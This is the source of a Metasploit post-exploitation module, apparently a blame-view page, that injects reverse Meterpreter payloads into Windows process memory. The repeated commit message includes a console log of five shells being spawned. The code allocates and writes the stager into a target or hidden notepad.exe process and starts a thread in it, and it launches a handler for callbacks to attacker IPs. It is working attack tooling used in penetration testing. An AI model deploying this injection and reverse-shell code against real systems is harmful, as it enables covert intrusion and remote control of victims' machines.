metasploit-framework/modules/post/windows/manage/multi_meterpreter_inject.rb

143 lines
5.5 KiB
Ruby
Raw Normal View History

##
2013-10-15 19:52:12 +00:00
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
2013-08-30 21:28:54 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Inject in Memory Multiple Payloads',
Added ability to generate multiple payloads - not just one Ran into a pentest recently where I had a flaky meterpreter shell, had it launch multiple ones just to be safe. The amount datastore allows you to iterate through and spawn multiple sessions. msf exploit(psexec) > use post/windows/manage/multi_meterpreter_inject msf post(multi_meterpreter_inject) > show options Module options (post/windows/manage/multi_meterpreter_inject): Name Current Setting Required Description ---- --------------- -------- ----------- AMOUNT 1 no Select the amount of shells you want to spawn. HANDLER false no Start new multi/handler job on local box. IPLIST XXXXXXXXX yes List of semicolom separated IP list. LPORT 4444 no Port number for the payload LPORT variable. PAYLOAD windows/meterpreter/reverse_tcp no Payload to inject in to process memory PIDLIST no List of semicolom separated PID list. SESSION yes The session to run this module on. msf post(multi_meterpreter_inject) > set AMOUNT 5 AMOUNT => 5 msf post(multi_meterpreter_inject) > set HANDLER true HANDLER => true msf post(multi_meterpreter_inject) > set SESSION 1 SESSION => 1 msf post(multi_meterpreter_inject) > exploit [*] Running module against XXXXXXXXX [*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp [+] Multi/Handler started! [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 5400 [*] Injecting meterpreter into process ID 5400 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 5400 [*] Meterpreter session 2 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4991) at 2013-10-09 18:04:02 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 4136 [*] Injecting meterpreter into process ID 4136 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 4136 [*] Meterpreter session 3 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4992) at 2013-10-09 18:04:08 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 4108 [*] Injecting meterpreter into process ID 4108 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 4108 [*] Meterpreter session 4 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4993) at 2013-10-09 18:04:13 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 5788 [*] Injecting meterpreter into process ID 5788 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 5788 [*] Meterpreter session 5 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4994) at 2013-10-09 18:04:19 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 1408 [*] Injecting meterpreter into process ID 1408 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 1408 [*] Meterpreter session 6 opened (XXXXXXXXX:4444 -> XXXXXXXXX:1029) at 2013-10-09 18:04:24 -0400 [*] Post module execution completed msf post(multi_meterpreter_inject) >
2013-10-09 22:11:09 +00:00
'Description' => %q{ This module will inject in to several processes a given
2013-08-30 21:28:54 +00:00
payload and connecting to a given list of IP Addresses.
The module works with a given lists of IP Addresses and
process PIDs if no PID is given it will start a the given
process in the advanced options and inject the selected
payload in to the memory of the created module.},
'License' => MSF_LICENSE,
Added ability to generate multiple payloads - not just one Ran into a pentest recently where I had a flaky meterpreter shell, had it launch multiple ones just to be safe. The amount datastore allows you to iterate through and spawn multiple sessions. msf exploit(psexec) > use post/windows/manage/multi_meterpreter_inject msf post(multi_meterpreter_inject) > show options Module options (post/windows/manage/multi_meterpreter_inject): Name Current Setting Required Description ---- --------------- -------- ----------- AMOUNT 1 no Select the amount of shells you want to spawn. HANDLER false no Start new multi/handler job on local box. IPLIST XXXXXXXXX yes List of semicolom separated IP list. LPORT 4444 no Port number for the payload LPORT variable. PAYLOAD windows/meterpreter/reverse_tcp no Payload to inject in to process memory PIDLIST no List of semicolom separated PID list. SESSION yes The session to run this module on. msf post(multi_meterpreter_inject) > set AMOUNT 5 AMOUNT => 5 msf post(multi_meterpreter_inject) > set HANDLER true HANDLER => true msf post(multi_meterpreter_inject) > set SESSION 1 SESSION => 1 msf post(multi_meterpreter_inject) > exploit [*] Running module against XXXXXXXXX [*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp [+] Multi/Handler started! [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 5400 [*] Injecting meterpreter into process ID 5400 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 5400 [*] Meterpreter session 2 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4991) at 2013-10-09 18:04:02 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 4136 [*] Injecting meterpreter into process ID 4136 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 4136 [*] Meterpreter session 3 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4992) at 2013-10-09 18:04:08 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 4108 [*] Injecting meterpreter into process ID 4108 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 4108 [*] Meterpreter session 4 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4993) at 2013-10-09 18:04:13 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 5788 [*] Injecting meterpreter into process ID 5788 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 5788 [*] Meterpreter session 5 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4994) at 2013-10-09 18:04:19 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 1408 [*] Injecting meterpreter into process ID 1408 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 1408 [*] Meterpreter session 6 opened (XXXXXXXXX:4444 -> XXXXXXXXX:1029) at 2013-10-09 18:04:24 -0400 [*] Post module execution completed msf post(multi_meterpreter_inject) >
2013-10-09 22:11:09 +00:00
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>',
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' # added multiple payload support
],
2013-08-30 21:28:54 +00:00
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter']
))
register_options(
[
OptString.new('PAYLOAD', [false, 'Payload to inject in to process memory', "windows/meterpreter/reverse_tcp"]),
OptInt.new('LPORT', [false, 'Port number for the payload LPORT variable.', 4444]),
OptString.new('IPLIST', [true, 'List of semicolom separated IP list.', Rex::Socket.source_address("1.2.3.4")]),
OptString.new('PIDLIST', [false, 'List of semicolom separated PID list.', '']),
Added ability to generate multiple payloads - not just one Ran into a pentest recently where I had a flaky meterpreter shell, had it launch multiple ones just to be safe. The amount datastore allows you to iterate through and spawn multiple sessions. msf exploit(psexec) > use post/windows/manage/multi_meterpreter_inject msf post(multi_meterpreter_inject) > show options Module options (post/windows/manage/multi_meterpreter_inject): Name Current Setting Required Description ---- --------------- -------- ----------- AMOUNT 1 no Select the amount of shells you want to spawn. HANDLER false no Start new multi/handler job on local box. IPLIST XXXXXXXXX yes List of semicolom separated IP list. LPORT 4444 no Port number for the payload LPORT variable. PAYLOAD windows/meterpreter/reverse_tcp no Payload to inject in to process memory PIDLIST no List of semicolom separated PID list. SESSION yes The session to run this module on. msf post(multi_meterpreter_inject) > set AMOUNT 5 AMOUNT => 5 msf post(multi_meterpreter_inject) > set HANDLER true HANDLER => true msf post(multi_meterpreter_inject) > set SESSION 1 SESSION => 1 msf post(multi_meterpreter_inject) > exploit [*] Running module against XXXXXXXXX [*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp [+] Multi/Handler started! [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 5400 [*] Injecting meterpreter into process ID 5400 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 5400 [*] Meterpreter session 2 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4991) at 2013-10-09 18:04:02 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 4136 [*] Injecting meterpreter into process ID 4136 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 4136 [*] Meterpreter session 3 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4992) at 2013-10-09 18:04:08 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 4108 [*] Injecting meterpreter into process ID 4108 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 4108 [*] Meterpreter session 4 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4993) at 2013-10-09 18:04:13 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 5788 [*] Injecting meterpreter into process ID 5788 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 5788 [*] Meterpreter session 5 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4994) at 2013-10-09 18:04:19 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 1408 [*] Injecting meterpreter into process ID 1408 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 1408 [*] Meterpreter session 6 opened (XXXXXXXXX:4444 -> XXXXXXXXX:1029) at 2013-10-09 18:04:24 -0400 [*] Post module execution completed msf post(multi_meterpreter_inject) >
2013-10-09 22:11:09 +00:00
OptBool.new('HANDLER', [false, 'Start new multi/handler job on local box.', false]),
OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1])
2013-08-30 21:28:54 +00:00
], self.class)
register_advanced_options(
[
OptString.new('PROCESSNAME', [false, 'Description', 'notepad.exe'])
],self.class)
end
# Run Method for when run command is issued
def run
unless client.platform =~ /win/
print_error("This module requires native Windows meterpreter functions not compatible with the selected session")
return
end
# Set variables
multi_ip = nil
multi_pid = nil
print_status("Running module against #{sysinfo['Computer']}")
if datastore['HANDLER']
create_multi_handler(datastore['PAYLOAD'],datastore['LPORT'])
end
multi_ip = datastore['IPLIST'].split(";")
multi_pid = datastore['PIDLIST'].split(";")
Added ability to generate multiple payloads - not just one Ran into a pentest recently where I had a flaky meterpreter shell, had it launch multiple ones just to be safe. The amount datastore allows you to iterate through and spawn multiple sessions. msf exploit(psexec) > use post/windows/manage/multi_meterpreter_inject msf post(multi_meterpreter_inject) > show options Module options (post/windows/manage/multi_meterpreter_inject): Name Current Setting Required Description ---- --------------- -------- ----------- AMOUNT 1 no Select the amount of shells you want to spawn. HANDLER false no Start new multi/handler job on local box. IPLIST XXXXXXXXX yes List of semicolom separated IP list. LPORT 4444 no Port number for the payload LPORT variable. PAYLOAD windows/meterpreter/reverse_tcp no Payload to inject in to process memory PIDLIST no List of semicolom separated PID list. SESSION yes The session to run this module on. msf post(multi_meterpreter_inject) > set AMOUNT 5 AMOUNT => 5 msf post(multi_meterpreter_inject) > set HANDLER true HANDLER => true msf post(multi_meterpreter_inject) > set SESSION 1 SESSION => 1 msf post(multi_meterpreter_inject) > exploit [*] Running module against XXXXXXXXX [*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp [+] Multi/Handler started! [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 5400 [*] Injecting meterpreter into process ID 5400 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 5400 [*] Meterpreter session 2 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4991) at 2013-10-09 18:04:02 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 4136 [*] Injecting meterpreter into process ID 4136 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 4136 [*] Meterpreter session 3 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4992) at 2013-10-09 18:04:08 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 4108 [*] Injecting meterpreter into process ID 4108 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 4108 [*] Meterpreter session 4 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4993) at 2013-10-09 18:04:13 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 5788 [*] Injecting meterpreter into process ID 5788 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 5788 [*] Meterpreter session 5 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4994) at 2013-10-09 18:04:19 -0400 [*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444 [+] Starting Notepad.exe to house Meterpreter Session. [+] Process created with pid 1408 [*] Injecting meterpreter into process ID 1408 [*] Allocated memory at address 0x003b0000, for 290 byte stager [*] Writing the stager into memory... [+] Successfully injected Meterpreter in to process: 1408 [*] Meterpreter session 6 opened (XXXXXXXXX:4444 -> XXXXXXXXX:1029) at 2013-10-09 18:04:24 -0400 [*] Post module execution completed msf post(multi_meterpreter_inject) >
2013-10-09 22:11:09 +00:00
datastore['AMOUNT'].times do # iterate through number of shells
multi_ip.zip(multi_pid).each do |a|
# Check if we have an IP for the session
if a[1]
payload = create_payload(datastore['PAYLOAD'],a[0],datastore['LPORT'])
inject(a[1],payload)
select(nil, nil, nil, 5)
else
# if no PID we create a process to host the Meterpreter session
payload = create_payload(datastore['PAYLOAD'],a[0],datastore['LPORT'])
pid_num = start_proc(datastore['PROCESSNAME'])
inject(pid_num,payload)
select(nil, nil, nil, 5)
end
end
2013-08-30 21:28:54 +00:00
end
end
# Function for injecting payload in to a given PID
#-------------------------------------------------------------------------------
def inject(target_pid, payload_to_inject)
print_status("Injecting meterpreter into process ID #{target_pid}")
begin
host_process = session.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS)
raw = payload_to_inject.generate
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
print_status("Writing the stager into memory...")
host_process.memory.write(mem, raw)
host_process.thread.create(mem, 0)
print_good("Successfully injected Meterpreter in to process: #{target_pid}")
rescue::Exception => e
print_error("Failed to Inject Payload to #{target_pid}!")
print_error(e.message)
2013-08-30 21:28:54 +00:00
end
end
# Function for Creation of Connection Handler
#-------------------------------------------------------------------------------
def create_multi_handler(payload_to_inject,rport,rhost = '0.0.0.0')
print_status("Starting connection handler at port #{rport} for #{payload_to_inject}")
mul = client.framework.exploits.create("multi/handler")
mul.datastore['WORKSPACE'] = session.workspace
mul.datastore['PAYLOAD'] = payload_to_inject
mul.datastore['LHOST'] = rhost
mul.datastore['LPORT'] = rport
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = false
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
print_good("Multi/Handler started!")
end
# Function for Creating the Payload
#-------------------------------------------------------------------------------
def create_payload(payload_type,lhost,lport)
print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}")
payload = payload_type
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
return pay
end
# Function starting notepad.exe process
#-------------------------------------------------------------------------------
def start_proc(proc_name)
print_good("Starting Notepad.exe to house Meterpreter Session.")
proc = client.sys.process.execute(proc_name, nil, {'Hidden' => true })
print_good("Process created with pid #{proc.pid}")
return proc.pid
end
end